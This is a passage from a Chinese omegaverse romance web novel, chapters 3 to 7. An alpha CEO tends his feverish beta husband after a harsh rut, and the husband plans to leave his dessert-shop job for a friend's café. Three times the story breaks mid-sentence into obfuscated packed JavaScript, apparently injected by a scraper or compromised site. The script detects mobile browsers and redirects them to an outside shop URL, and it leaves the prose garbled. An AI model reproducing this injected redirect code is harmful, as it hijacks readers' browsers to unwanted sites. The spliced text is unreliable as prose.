傅晏淮很少注意一楼的房间具体都有什么作用,对于鹿遥住在这么犄角旮旯的地方他暂时没有什么感想。傅晏淮直接侧头问管家,“密码是多少。” 管家报出别墅设置初始密码,鹿遥没有修改权限,所以密码没有变。 傅晏淮直接进门,管家很有眼色地退在一边没有多看。 眼前景象出乎傅晏淮意料,鹿遥身上还穿着早上乱七八糟套上的衣服,上衣衣摆被蹭得撩起来,腰间肌肤裸露出一大片,红色的掐痕显眼。 鹿遥背对着门的方向紧紧缩成一团,傅晏淮先确认了一下管家什么都没有看到,然后他示意管家离开。 傅晏淮把门在身后关上,他走到床边俯视着鹿遥。 发丝凌乱散落在鹿遥脸上,他的身体在微微发抖,被子被鹿遥踢到了另一边,傅晏淮没有动。 “鹿遥。”傅晏淮的语气很平静,“你已经睡了很久了。” 床上的人没有任何反应,傅晏淮皱起眉大步走上前。傅晏淮站在床边把手背贴到鹿遥颈侧,滚烫的体温终于让傅晏淮吃惊扬起眉。 鹿遥发烧了?为什么,以前易感期他都没有发烧过。 傅晏淮坐到床上把鹿遥翻到自己这边来,鹿遥的体重很轻,傅晏淮很容易就改变了鹿遥的姿势,但鹿遥平躺后却浑身都抽搐起来。 傅晏淮皱紧眉,干脆把鹿遥整个抱了起来。 他做这个动作时没有什么心理负担,他和鹿遥婚后一共经历了三次易感期,每一次易感期都在增加傅晏淮抱起鹿遥的熟练度。 如果鹿遥现在醒着,他一定会为此感到害羞,但现在他无知无觉地靠在傅晏淮肩上,炙热地呼吸喷洒在傅晏淮颈侧的腺体上。 这种略带冒犯的初次体验让傅晏淮有些不适应,可他并没有松开手。 他勾住一边的被子把鹿遥包裹起来,然后按响了房间内的呼叫铃。 鹿遥不知道自己现在短暂得到了他一直以来梦寐以求的东西,昏迷中的鹿遥迷迷糊糊地闻到了白冷杉的味道,他安心地在傅晏淮怀里昏睡了过去。 傅晏淮对对面道,“叫家庭医生过来,他发烧了。” 得到回应后傅晏淮干脆地挂断了通讯,随后他的目光开始在房间内搜寻。 最后他停在房间角落被扔下的那个破损的袋子上,傅晏淮隐约记得是鹿遥带回来的甜品。 有焦糖的味道,应该是那个甜品散发出来的。 鹿遥双眼紧闭,他在傅晏淮的怀里没有再发抖。 傅晏淮低声道,“如果你是omega,焦糖倒是很适合你的信息素味道。” 4. 第 4 章 发烧的人总是觉得冷,一层薄薄的被完全不能起到取暖的作用,傅晏淮的体温成了鹿遥唯一能接近的热源,鹿遥迷迷糊糊地一直往傅晏淮怀里钻。 “睡个觉还这么不老实。” 傅晏淮丝毫不觉得自己自己照顾病人的方法不对,他压住被角不让鹿遥乱动。鹿遥没什么力气,挣不过傅晏淮,他又重新默默蜷紧自己。鹿遥只安静了不到一分钟,傅晏淮感觉他在颤抖。 傅晏淮皱了皱眉,他试着重新把人抱起来,在感受到傅晏淮的温度后鹿遥果然又紧紧贴了上来。 鹿遥的呼吸很急促,但不知道是不是傅晏淮的错觉,他总觉得鹿遥在贴近自己腺体的时候状态会平稳一点。 但傅晏淮的耐心就快用光了,他转头想找床边的呼叫铃,但鹿遥住的是杂物间,房间内没有配备呼叫系统。 傅晏淮定定看了怀里的人一会,“鹿遥,你真的很会给我添麻烦。” 鹿遥即使是昏迷着也稍稍瑟缩了一下,在和傅晏淮结婚后的这一年时间里,傅晏淮对他的讥讽和失望已经深深刻进他脑海。即使在睡梦中,听到也会下意识地感觉不安。 最后还是傅晏淮打了电话让管家进来,鹿遥抓着傅晏淮的衣角不肯松开,像个怕被人抛弃的可怜小狗。 管家推开门后见到这一幕忍不住吃了一惊,但他很快就调整好上前低声道,“傅总,冯医生十分钟后到。” 傅晏淮淡淡嗯了声,“到了让他直接过来,水呢。” 管家把托盘放到一旁的简易柜子上,水温微微有些烫,傅晏淮耐着性子把杯口对到鹿遥唇边,鹿遥看来的确渴了很久,他一口气喝了小半杯。 鹿遥的头发乱蓬蓬的,但又很软,这种毛绒绒的手感让傅晏淮觉得很新鲜。 喝了点水之后鹿遥的状态看起来安稳了一些,管家贴心地还拿来了体温计,傅晏淮对准额头测了一下,显示40℃。 鹿遥的情况比傅晏淮预想的严重,他侧头问管家,“医生还没到吗?” 傅晏淮的神情已经变得严肃,但他自己并没有意识到,管家小心看了他的脸色,“就快了,您别着急。” “空调调高一点,去找几个冰袋。” 房间内温度变成28,傅晏淮接过管家拿来的冰袋,试着放到鹿遥额头上。 鹿遥应该还是觉得冷,冰袋刺激得他狠狠哆嗦了一下。 不知道为什么,看见鹿遥奄奄一息的模样,傅晏淮再次感受到了熟悉的烦躁感。 他薄唇紧抿,随手把冰袋扔开了。 管家也不敢说话,他低头眼观鼻鼻观心站在一边,就在房间内空气逐渐凝固的时候,冯医生终于到了。 管家退出房间小心关上门,鹿遥依然在昏睡,冯医生刚刚进门,随身携带的信息素检测仪显示数值就超标了。 冯医生凑近做简单检查,他仔细看了一眼鹿遥的情况,发现他裸露出来的肌肤上有很多可疑的痕迹。 基于上流阶层的基本情况,冯医生直起身低声问傅晏淮道,“傅总 ,我需要询问一下鹿先生的身上有没有外伤。” 傅晏淮原本还对他凑近的行为感到不满,但听到医生的问题后他微妙地停顿两秒,“有,一些。” 冯医生循循善诱道,“有一些隐秘的伤口也是需要处理的,发炎也是引起高烧的因素之一。” 傅晏淮不太记得这种小事了,不过听起来这次发烧不是由于什么严重的原因引起的,“除此之外呢,需要吃什么药吗。” “还有一点需要提醒您。”冯医生的态度很恭敬,“beta和omega的身体构造不同,他们没有生殖腔,一些体外液体不能够被储存和正常分解。所以如果没有做措施的话,一定要进行及时清理。” 傅晏淮抱着鹿遥的手收紧又松开,傅晏淮的确从来都没有关心过这件事。 “只是因为这两个原因吗,那他什么时候能醒?” 鹿遥最好不要把易感期第三天直接睡过去,傅晏淮现在可没心情照顾病人。 “如果想要更进一步的检查,需要医院的仪器辅助。”不过依照冯医生做家庭医生多年的经验,这个beta发烧昏迷不醒,八成是因为傅晏淮做得太狠了。“现在只需要简单处理一下伤口就好,随后我来为他输液。” 傅晏淮听出了冯医生话里的意思,他随口道,“嗯,知道了。你先出去吧,药膏留下。” 傅晏淮对‘只有自己才能给鹿遥上药’这件事感到理所应当,冯医生竟然也没有觉得不对,他把药留下就退出去找管家了。 傅晏淮松开裹住鹿遥的被子,他从进门开始就看鹿遥身上的破烂衣服不顺眼,现在有了理由,傅晏淮毫无负担地彻底扯坏鹿遥的睡衣,这身破东西和这间别墅格格不入。 在浴室的灯光下,傅晏淮可以确定鹿遥应该是回到房间后就直接睡觉了,他也是第一次这么清晰地看见鹿遥的满身狼藉,傅晏淮神情有些微妙。 这都是他干的? 鹿遥更冷了,傅晏淮耐着性子调整水温在浴缸里放满水。温热的水流逐渐没过鹿遥的身体,他紧绷的肌肉渐渐放松。 傅晏淮的身上也被弄湿了,他干脆直接迈进浴缸坐下,开始遵照医嘱处理伤口。 鹿遥是被钝痛叫醒的,睁开双眼的时候大脑还是一片混沌,这个可怜的beta花了几秒钟才清楚自己现在面临的情况。 鹿遥浑身酸痛,勉强支撑起自己身体这个简单的动作就耗费了他所有的力气,鹿遥醒来时傅晏淮就停了动作。 “傅…傅总?”鹿遥的声音听起来很微弱,嗓音也很沙哑,但他几乎就要晕过去了,“我自己来就可以的…!” 鹿遥现在的状况不足以支撑他思考太多,他慌张就要从浴缸里爬出去。 “不要乱动。”傅晏淮头一回做这种事,他觉得还挺新鲜。 浴缸里的水流走,傅晏淮打开花洒试了一下水温。 鹿遥跪坐起来抱紧自己,脸颊还是通红,眼睛水汪汪直愣愣地盯着傅晏淮。 直到现在鹿遥的后颈还是有隐隐的刺痛感,但疼痛并不持续,习惯了之后后颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,我,我好了,我已经好了。” 傅晏淮垂眼平静看着鹿遥,鹿遥语无伦次道,“没有发烧了,对。” 鹿遥在傅晏淮毫无波动的眼神中愈发窘迫,傅晏淮收回目光看向吊瓶。 “等会让冯医生再来检查一下,现在需要什么一次告诉管家。” 鹿遥受宠若惊地站在原地,他控制不住地胡思乱想起来,是因为他生病了,所以傅晏淮对他这么关心吗? 那他是不是可以觉得,其实傅晏淮也是有一点点喜欢他的… “鹿遥。”确认鹿遥的状况已经稳定,傅晏淮居高临下道,“我的易感期被你睡过去了。” 鹿遥垂下眼小声道,“我不是故意的。” 傅晏淮看起来还是有点烦,但面前的beta看起来可怜巴巴的,还生着病。 傅晏淮最终只是道,“下不为例。” 5. 第 5 章 鹿遥小心又仰起头,“我下次一定不会这样了。” 傅晏淮嗯了声,“先去吃晚饭吧。” 傅晏淮推门离开,鹿遥懊恼在原地站了一会,他就不该偷懒直接睡觉的。 手机铃声突兀响起,鹿遥这才想起自己从昨晚开始就没看过消息,他下意识弯腰去拿手机,但这个动作却扯到了他腰间的肌肉。 酸痛让鹿遥直起身后两眼发黑,他抿紧唇缓了缓,这两天的确有点累到腰了。 手机的电量只剩下百分之二,但好在没有关机,鹿遥连忙连上充电线。他坐在床上仔细分辨了一下,屏幕上跳出的弹窗显示是鹿千星。 很难说清鹿遥那一瞬间的表情,像是忍耐,又像是抗拒。 但最终他还是点开了对话框回拨,鹿千星很快就接通了,破旧手机里传出的声音像是个养尊处优长大的小少爷。 “鹿遥,妈妈叫你问的合作项目,你到底有没有和傅大哥说呀。” 鹿遥沉默片刻,“他不会同意的。” “什么叫他不会同意,叫你问你就问啊。这么点小事都做不好,怪不得妈妈说你没用,一点都不要强。” 如果鹿遥不要强的话,他就不会考上京城最好的大学又退学,也不会在婚后背着傅晏淮去甜品店工作,来满足鹿千星永远不会填满的胃口。 “妈妈不喜欢我,只是因为我是个beta。”鹿遥的声音很轻,“你是omega,所以妈妈爱你。” 到现在,鹿遥已经能很平静地接受这个事实。关清露是b级omega,她处心积虑嫁给了当时看起来很有前途的a级alpha,鹿遥的父亲鹿钟光。 但谁知道鹿钟光不是什么正经的富家子弟,关清露嫁进来才发现鹿家家底比纸片还薄。婚后没多久鹿钟光的生意就出了纰漏,关清露当时想离婚,但她已经怀孕了。 关清露努力维持的体面和地位伴随鹿遥的出生全部破灭,ao结合有80%的几率生下a或o的后代,但鹿遥偏偏是个beta。 这个性别像是在嘲讽关清露竹篮打水一场空,她把自己失败的婚姻和人生全部归咎在鹿遥身上。 鹿千星听起来有几分得意,“还好妈妈还有我。你周末带傅大哥回家一趟,这个项目对爸爸来说很重要,我们家的生意全靠这次了。鹿遥,你听到没有。” 鹿遥听到了,但他满心疲惫不知道该说什么,从他出生直到现在,鹿钟光就没有做出过什么名堂。 鹿遥试图对鹿千星道,“傅家的项目不是所有人都能来分一杯羹的,项目出问题的话傅晏淮也需要担责。而且,而且当时。” 鹿遥有些难以启齿,但他还是忍着羞耻继续道,“结婚的合同里写得很清楚,傅晏淮给了一栋别墅和一张卡。” 鹿遥很不愿意提起这件事,这会赤裸裸地撕开一个事实,他和傅晏淮拥有的婚姻本质上只是一场交易。 鹿千星的语气瞬间变了,“你这是什么意思,是觉得爸爸做不好这个项目吗。傅大哥有信息素排异症,不然这桩婚事哪里轮得到你。” 如果傅晏淮能接受omega的抚慰,他的另一半人选不会落在鹿遥身上,也不可能落在鹿千星身上。 “是,他的确不喜欢我。”鹿遥隐忍道,“所以我这样的人,怎么能让他同意项目合作呢。” 在关清露潜移默化的影响下,鹿千星已经习惯了对鹿遥傲慢不逊,“总之,家里周末要你和傅大哥回家吃饭,你自己看着办吧。” 鹿遥无力地扯扯嘴角,傅大哥,傅晏淮应该不想和鹿家的任何一个人称兄道弟。 他退出鹿千星的联系界面,手机上的消息寥寥无几,鹿遥的人际关系简单到寡淡。 只有夏时越问他今天休息得怎么样,说他没去马颂很生气,做坏了两个订单。还说他这个月结束就走了,虽然家里不同意,他还是要自己开一家咖啡店。 夏时越的消息琐碎又随意,但是鹿遥看着从中汲取到了一点温暖。 他认真地逐条给夏时越回复,然后他重新关掉手机离开房间。 鹿遥还是有点冷,他手脚虚软地找到了一件厚外套穿上。厨房在负一层,比起餐厅,鹿遥更经常吃饭的地点是后厨。 鹿遥以为这一次还是他自己找后厨给他留的饭菜,或者干脆自己随便煮碗面,但他刚刚走到后厨,就看到管家在门口站着。 管家的表情还是一如既往的严肃,鹿遥没想到这个时间后厨还有人,他一时有些无措起来,“您来拿东西吗。” 管家摇头道,“不是,我在等您。厨师做了瘦肉姜粥和小菜,在这里。” 鹿遥还有点混沌的大脑没有立刻反应过来,他下意识跟着管家走进去。厨师做的显然比管家说的丰盛很多,托盘上冒着热气的粥很稠,上面卧了一个蛋。小包子圆圆胖胖的,还浸了肉汁,小菜看起来很清爽。 香味唤醒了鹿遥的胃,鹿遥清楚听见肚子叫了一声,但他还是局促地低声问道,“是晚饭剩下的,还是…” 管家得体微笑,“是特意为您准备的,您先吃,傅总在楼上等您。” 鹿遥就坐下默默喝粥,看出他的不自在,管家特意走远了一些。 粥喝下去身上暖暖的,鹿遥看起来精神了一点。东西分量都不大,鹿遥吃得很干净,等到他吃完了管家才走近。 鹿遥端着托盘就要起身,管家不动声色问道,“鹿先生吃饱了吗?” 鹿遥点点头,“吃好了。” “鹿先生。”管家的法令纹还是很深,看起来很凶,但他特意放缓了声音道,“时间有限,我长话短说。” “我知道您一直还在甜品店工作,傅总也知道。不过您放心,我不是想要责怪您。” 生了病的鹿遥看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731135|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来格外瘦弱,管家看着他没有血色的嘴唇和脖颈上的伤痕,忍不住又叹了口气。 鹿遥眼中有几分拘谨,但管家的声音听起来很温和,“我知道您在给您弟弟钱,但在您和傅总结婚的时候,傅总就给了一笔丰厚的钱款做您的补偿。我知道这些事情轮不到我说,您在意家人,这很好,但您现在和傅总是夫夫,傅总也是您的家人,是更亲密的家人。” 鹿遥不明白管家要说什么,他小声道,“这两天我耽误了时间,是我做得不好。” 鹿遥误会了管家的意思,管家有些无奈,“从傅总小的时候,我就一直在这里做管家。我能看出来,在您这里,傅总其实做了很多多余的事情,您或许可以把时间更多地花在傅总身上。” 傅晏淮对鹿遥态度当然也受鹿家的影响,傅晏淮很忙,他的大部分时间都在工作和应酬,回家更多的也是休息和睡觉。鹿遥甜品店的工作也不轻松,还要抽出时间应付鹿家的人,管家默默注视了这对夫夫一年,在此时终于忍不住了。 鹿遥不相信管家的话,傅晏淮明明就不喜欢他接近的,偶尔的亲密也只是因为易感期不得不忍着。 但鹿遥并没有反驳,反驳也没什么意义,他顺着管家的话道,“我知道了,谢谢管家。” 管家看出了鹿遥并没有听进去,他这次真的长叹一声,“您上楼吧。” 管家决定下次找机会直接从傅晏淮那边下手。 “好。” 鹿遥如释重负,他没把这个小插曲放在心上,但管家在他生病的时候很关照他,鹿遥很感激。 厨房过了饭点是不会再准备餐食的,应该是管家特意叮嘱了要给鹿遥煮粥。鹿遥想着明天要不要做一点甜品送给管家,只是不知道管家喜不喜欢吃。 鹿遥很快就到了傅晏淮的房门前,他敲门后安静等了两秒钟,门开了。 傅晏淮审视了一下鹿遥的脸色,觉得好了一点就没再管,但很快鹿遥的穿着又让傅晏淮微微挑眉。 “你一定要每天穿着这些破烂吗。”傅晏淮真心实意地不解道,“你在傅家吃不起饭了?我不是给你换了我的衣服吗。” 原来那身睡衣是傅晏淮给他换的? 鹿遥来不及不好意思,他窘迫道,“我有点冷,所以穿了外套,现在就脱下去。” 里面果然还穿着不合身的睡衣,傅晏淮侧身,“去床上吧。” 鹿遥听话地坐到床的里侧,他垂下头解开睡衣领口的扣子,傅晏淮却从身后握住鹿遥的手腕。 这个姿势很像是鹿遥缩在傅晏淮的怀里,鹿遥的脸瞬间变红,他僵硬停下动作。 “明天我会请服装师到家里给你量尺寸。”傅晏淮的手伸进了衣服里,鹿遥连眼神都不知道该往哪里放,他不知所措地看着厚重的窗帘。 “做我的合法伴侣,不至于连一件衣服都穿不起。” 6. 第 6 章 傅晏淮的这句话让鹿遥忍不住恍惚了两秒,鹿遥从来都没有过多想过这件事,但合法伴侣的身份从傅晏淮口中说出来,还是让鹿遥忍不住心绪起伏一瞬。 鹿遥用力咬了下唇,用疼痛来警告自己别多想。傅晏淮大概率只是随口一说,还是今晚平稳度过易感期最重要。 他以为傅晏淮在身后看不到,但傅晏淮却用指腹揉捻了一下鹿遥的嘴唇,他漫不经心的声音在鹿遥耳边响起,“不如咬点别的东西。” beta都是寡淡无味的,但鹿遥在床上却出乎意料地和傅晏淮很契合,傅晏淮很喜欢从背后按住鹿遥,反复咬住后颈灌入信息素。鹿遥没有腺体,尽管傅晏淮的信息素是s级,但白冷杉的味道依然不能停留在鹿遥的身上。于是傅晏淮就会带着点不满继续咬下去,直到鹿遥身上的气味能和房间里的味道融为一体。 可是不知道为什么,今晚傅晏淮的犬齿刺入时鹿遥后颈的刺痛格外明显。鹿遥抽痛地呜咽一声,换来傅晏淮一个更深的咬痕。 刚刚退烧的身体还不足以支撑这么高强度的运动,鹿遥撑着枕头的手臂忍不住开始颤抖,他噙着眼泪低声哀求,“能不能换一个姿势,我的腰太酸了…” 易感期的alpha很没有安全感,可他又没有自己的omega作为筑巢的对象,傅晏淮无法宣泄自己的焦躁,他无意识揉着鹿遥的后颈,“叫我的名字。” 在被允许的时候可以叫名字,在其他正常的时间要叫傅总。 但鹿遥还是很没出息地流下眼泪,他不明白为什么喜欢一个人是这么艰难的一件事,但能偷来一点时间假装和傅晏淮相爱,也是一个自欺欺人的好手段。 至少这一刻,他们看起来像是一对真正的爱人。 “晏淮,我的腰真的好酸…” 鹿遥的声音低低地传出来,傅晏淮的心忽然就平静了下来。 或许是顾忌着鹿遥身体还没有恢复,鹿遥难得得到了傅晏淮的温柔对待。他的后颈热热胀胀的,痒意顺着脊背攀爬,这种感觉很反常,鹿遥觉得自己好像要坏掉了。 这次傅晏淮耐心地帮他擦掉了眼泪,鹿遥在昏昏沉沉中得到了傅晏淮的一个轻吻。这个吻像是一根羽毛轻轻划过鹿遥的后颈,奇怪的满胀感更强烈了起来。 鹿遥不知道停下的时候是几点,他已经精疲力尽,连抬起一根手指的力气都没有了。他紧闭着眼睛趴在枕头上,傅晏淮好像摸了一下他的额头。 “又烧起来了。” 鹿遥此刻已经听不到傅晏淮的声音,他睡得很不安稳,他隐约记得自己还有什么事要做,这里也不是他能睡觉的地方。 但鹿遥真的太累了,他还是抵挡不住身体的沉重,陷入更黑的梦境。 傅晏淮的信息素躁动在此刻回归平静,他侧头看了眼时间,凌晨3:37分。 鹿遥的身上还有浓重的白冷杉味道,傅晏淮难得良心发现,他抱着鹿遥去浴室清理,然后在离开卧室的前一刻犹豫起来。 现在离天亮也没有几个小时了,而且鹿遥现在闻起来还有点甜滋滋的。 破例有了第一回就会有无数回,鹿遥在昏睡中重新回到傅晏淮的床上,傅晏淮在黑暗中静静看了他一会,也慢慢闭上了眼睛。 鹿遥没有睡太久,他有点呼吸不上来,是被压醒的。 鹿遥睁开双眼时头痛欲裂,房间里很黑,他懵了两秒也没分辨出现在是什么情况。 他眨了两下眼睛仔细辨认眼前的场景,这个屋子怎么这么大,这里不是他的房间。 搭在鹿遥腰间的手臂忽然用力往回收了收,鹿遥瞬间僵硬地回头看。 傅晏淮的嗓音还带着未睡醒的沙哑,他闭着眼问,“几点了?” 鹿遥刚刚冷却的体温瞬间再次上升,他这才意识到自己竟然一直睡在傅晏淮怀里,鹿遥努力看清钟表的时间,“七点…二十。” 傅晏淮不知道什么时候静静睁开了眼睛,昨晚鹿遥身上那一丝似有若无的甜滋滋气味消失了,白冷杉的味道也在消退。 傅晏淮也没有睡够,但经过昨晚,他的信息素已经被彻底抚平,他恢复了以往的矜贵和冷淡。 鹿遥忐忑地以为自己又要迎来傅晏淮的冷眼嘲讽,但出乎意料地,傅晏淮关心了他的身体。 “你的发烧不太正常。”傅晏淮下床,慢条斯理按开房内智能系统,窗帘拉开,光晃得鹿遥下意识眯了下眼。 “今天我还会让冯医生来一次,最近你就先不要出门了,好好休息。” 傅晏淮此时的状态更接近鹿遥最初和他谈婚约的时候,疏离、礼貌,又倨傲。 虽然傅晏淮只有在易感期脾气才会差一点,但鹿遥此刻也不敢再躺下去了,他莫名有种鸠占鹊巢的心虚感。 “可能是没有睡好的缘故。”鹿遥的声音彻底哑了,他忍不住干咳了一下,“其实不用麻烦医生也行。” 傅晏淮没有理会鹿遥的话,他做决定的事没有人能更改。 “每天都是差不多这个时间醒,你的工作时间这么早吗。” 鹿遥这次是真的愣住了,傅晏淮从来没有开口和他提过甜品店的工作,鹿遥也一直都是尽量避开傅晏淮出现在别墅里的时间出门,他隐隐知道傅晏淮对他的工作是不屑又不赞同的,但这还是他们两个第一次把这件事提到明面上来说。 鹿遥忐忑不安道,“是,但我今天休息,没有要出门。” 傅晏淮不是很在意鹿遥的工作,可鹿遥最近每天早出晚归,看起来像是傅晏淮养不起一个饭量不大的beta。 傅晏淮侧头淡淡瞥了一眼鹿遥,过于宽大的睡衣显得鹿遥更瘦,他赤脚局促站在床边,脸色很白,看起来有点可怜。 傅晏淮收回目光,“给你开一张亲属卡,把工作辞了。” 鹿遥愕然睁大眼睛,傅晏淮说完就要走,鹿遥连忙道,“傅总,等等,不用的。我的工资够…” “够什么,够缝你的睡衣?” 傅晏淮并没有鄙夷的神情,但与生俱来的倨傲让他这句话听起来和嘲讽一般无二。 鹿遥羞耻垂下眼,他没法反驳傅晏淮的话,因为时不时还要给鹿千星零用钱,他的确剩不下什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731136|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 鹿家的一堆糟心事早就让傅晏淮不耐烦,他知道鹿遥的钱都花在哪,傅晏淮直白道,“亲属卡只有你可以用,辞掉现在的工作,或者换一个时间合适的。鹿遥,我不想每天提醒一次你真正该做的是什么。” 鹿遥内心充斥满无力感,他低下头含糊道,“我知道了。” 傅晏淮进浴室洗漱,鹿遥连忙检查自己昨晚有没有留下什么不该留的痕迹,他顺手整理好床铺,然后捡起自己的外套犹豫要不要直接离开。 傅晏淮洗漱的时间很短,他额上的头发有点湿了,水珠顺着下颌凌厉的弧度划下,墨色的眼珠定定看着鹿遥。 鹿遥看呆了一瞬,傅晏淮的确是家世、长相和能力都没得挑的s级alpha。 鹿遥很快就重新看向地板,“傅总,我先走了。” 鹿遥现在大脑思维还是很混乱,他还需要再睡一会。 傅晏淮出乎意料地出声道,“会打领带吗。” 傅晏淮的表现很反常,鹿遥摇摇头小声道,“不会。” “过来。”傅晏淮随手抽出一条领带,深蓝色的领带静静躺在他的手掌上,“我教你。” 鹿遥不知道自己是怎么走过去的,他站到傅晏淮身前,只敢盯着傅晏淮的领口看。 傅晏淮握住鹿遥的手,此时他的声音听起来很有耐心,“从这里绕过来,再到这边,推上来。” 鹿遥希望自己的脸红不要太明显,他也不明白自己到底为什么这么不争气,他总是忍不住为傅晏淮动心。 傅晏淮垂下的眼睫很长,鹿遥自以为不明显地偷偷看了一眼又一眼,傅晏淮松开他的手,“好了。” 鹿遥猝不及防和傅晏淮对视,鹿遥的脸和耳朵都以肉眼可见的速度变红,傅晏淮把鹿遥的变化尽收眼底,他依然平淡道,“会了吗。” 鹿遥其实什么都没有记住,但他还是强装镇定地道,“会了。” 傅晏淮嗯了声,他穿好西装外套,又挑了一枚同色系的袖口戴好。亲属卡和短暂的哄人,作为傅晏淮这几天易感期对鹿遥不尊重的补偿。 鹿遥不知道为什么今天傅晏淮又忽然对他好了起来,他抱着自己的外套迷迷糊糊下了楼,关上自己房间门之后才意识到自己昨晚是在傅晏淮卧室睡的。 鹿遥低下头看着自己身上不合身的睡衣,彻底迷茫起来。 为什么前几天还很讨厌他,今天又不讨厌了呢。 鹿遥身体很疲惫,但现在精神却十分亢奋。他打开手机又看了一眼,今天除了夏时越,马颂竟然也给他发了信息。 夏时越说他已经准备好要订购开店的工具,可能会提前离职。鹿遥想起傅晏淮今早的话,要回复的手忽然迟疑起来。 马颂催促鹿遥尽早回来上班,店里压了很多订单。 鹿遥犹豫了一下,对夏时越回复问道,“你的咖啡店,准备开在哪里呢?” 鹿遥握紧手机,坐在床上对着对面的白墙愣神。 或许管家说的是对的,他真的应该更多关注傅晏淮。也应该像傅晏淮说的那样,只为了自己而工作。 7. 第 7 章 夏时越好像听出了鹿遥话里的意思,他的回复很快,“在首都大学附近,你想来和我一起吗?” 夏时越很希望鹿遥能来自己的咖啡厅,他不想和自己刚交到没多久的新朋友分开。 “来嘛,不然找新的甜品师也很麻烦的。这样的话我们还能每天一起,一定很好玩。” 鹿遥的确很适合和夏时越这样明朗热情的人相处,他看见夏时越的消息后忍不住弯了弯眼睛。 鹿遥想了想回复道,“这个月还差几天才发工资,拿到工资后我会离职的。” 夏时越立刻激动起来,“好!我早就把看好的位置买下来了,我这两天就重新布置一下,我们肯定能做成功!” 一家咖啡店的钱能交到好朋友,对夏时越来说这不是什么亏本的事情。 其实鹿遥也偷偷想过要自己开一家甜品店,他还是挺喜欢做甜甜的小蛋糕的,但他实在拿不出本钱。虽然夏时越的咖啡厅不知道能开成什么样子,但鹿遥最开始在马颂的店里工作时,85℃甜品屋的生意也没有太好。 鹿遥被夏时越的情绪所感染,他也开始期盼起未来,“一定可以。” 在鹿遥的人生中,他很少有过这样全然自己做决定的时刻,至少在眼下的这一秒,他的确感到了自由带来的快乐。 鹿遥关上手机后忍不住抻了个懒腰,他现在身体还是很疲惫,不过昨晚后颈奇怪的热胀感不见了。 鹿遥低声自语道,“这两天总是觉得好不对劲,今天一定要好好睡一觉。” 但是想起刚刚傅晏淮说冯医生还会来,鹿遥决定还是先去问一问管家医生到的时间。而且,管家昨晚的话应该也不是随便说说而已。 鹿遥脱掉身上傅晏淮的睡衣,他已经穿过的衣服,傅晏淮肯定不会再要了。 深蓝色的绸缎面料甚至能抖出粼粼波光,鹿遥的手在上面轻轻抚过,这个颜色把他的手指映衬得很白皙。 但鹿遥很快把手收回,他打算手洗一下收起来。 鹿遥说不清自己对傅晏淮到底是什么感情,他和傅晏淮的第一次见面是在鹿遥刚上大学兼职的时候,在私人庄园的宴会里做侍酒师。 其实鹿遥也不太记得那天的具体情况了,他并不知道傅晏淮也会参加那天的晚宴,那时傅晏淮才刚刚接手傅氏集团,年轻又冷厉的alpha一出现就成了全场的焦点。鹿遥在人群中远远看着他,觉得傅晏淮的眉眼很好看。 宴会开始,鹿遥忙着没有机会多看。直到有个宾客用一种很奇怪的眼神看着他,并要求鹿遥给他倒一杯欧颂红酒。 后来或许是鹿遥自己不小心,他不知道绊到了什么,那杯酒洒了。那个客人要求鹿遥赔偿,或者用其他方式对他赔礼道歉。鹿遥能看明白他的意思,他的低声拒绝引起了周围人的注意。 傅晏淮在事情闹到无法收场之前出现,鹿遥当时不明白为什么傅晏淮会管这种闲事,但之后几天的收购新闻让鹿遥反应过来傅晏淮不是为了救他,傅晏淮只是借题发挥。 鹿遥被傅晏淮挡在身后,alpha的声音听起来很倨傲,又带着隐隐的不屑,“为难一个看起来显然比你弱小很多的人,会给你带来什么快感吗?” 鹿遥在短短一分钟内经历巨大起伏,他印象最深的就是傅晏淮的那个背影,纯黑色的西装,锋芒毕现到看起来过于锐利的alpha。 傅晏淮肯定不会记得这种小事了,只有鹿遥一个人小心珍藏他们的初见,并在之后听到傅晏淮想找一个beta缔结婚约的时候,主动回家找到他的父母。 那可能是鹿遥做过最勇敢的事了。 鹿遥眨了下有些酸涩的眼睛,下午一定要好好补一觉才行。 他简单把地上散落的东西都收拾了一下,焦糖布丁被扫到了门后的角落,鹿遥捡起时看到破损的袋子停滞一瞬。 可能傅晏淮就是不喜欢吃这些的,他们结婚也快有一年,鹿遥的确很少看到傅晏淮吃甜品。 一个甜品师和一个不喜欢甜品的人,还有比这更不相配的两个人吗? 鹿遥被自己苦中作乐的想法逗笑了,他很快就把自己开解好,平静地把坏掉的布丁扔掉。 鹿遥换好衣服去客厅,管家正在一丝不苟地叠餐巾折花。 “早上好。”鹿遥走上前站到一旁,“需要我帮忙吗?” 管家直起腰,“您的早饭在后厨,您不需要做这个。” 管家把餐布拉到完美,鹿遥垂下眼道,“谢谢您昨晚替我留了粥。” 管家还是一如既往地看起来很严肃,“这是我该做的,您吃过早饭再休息一会吧,冯医生下午才到。” 其实是管家约的时间在下午,鹿遥现在更需要好好休息。 鹿遥松了口气,“那还来得及。” 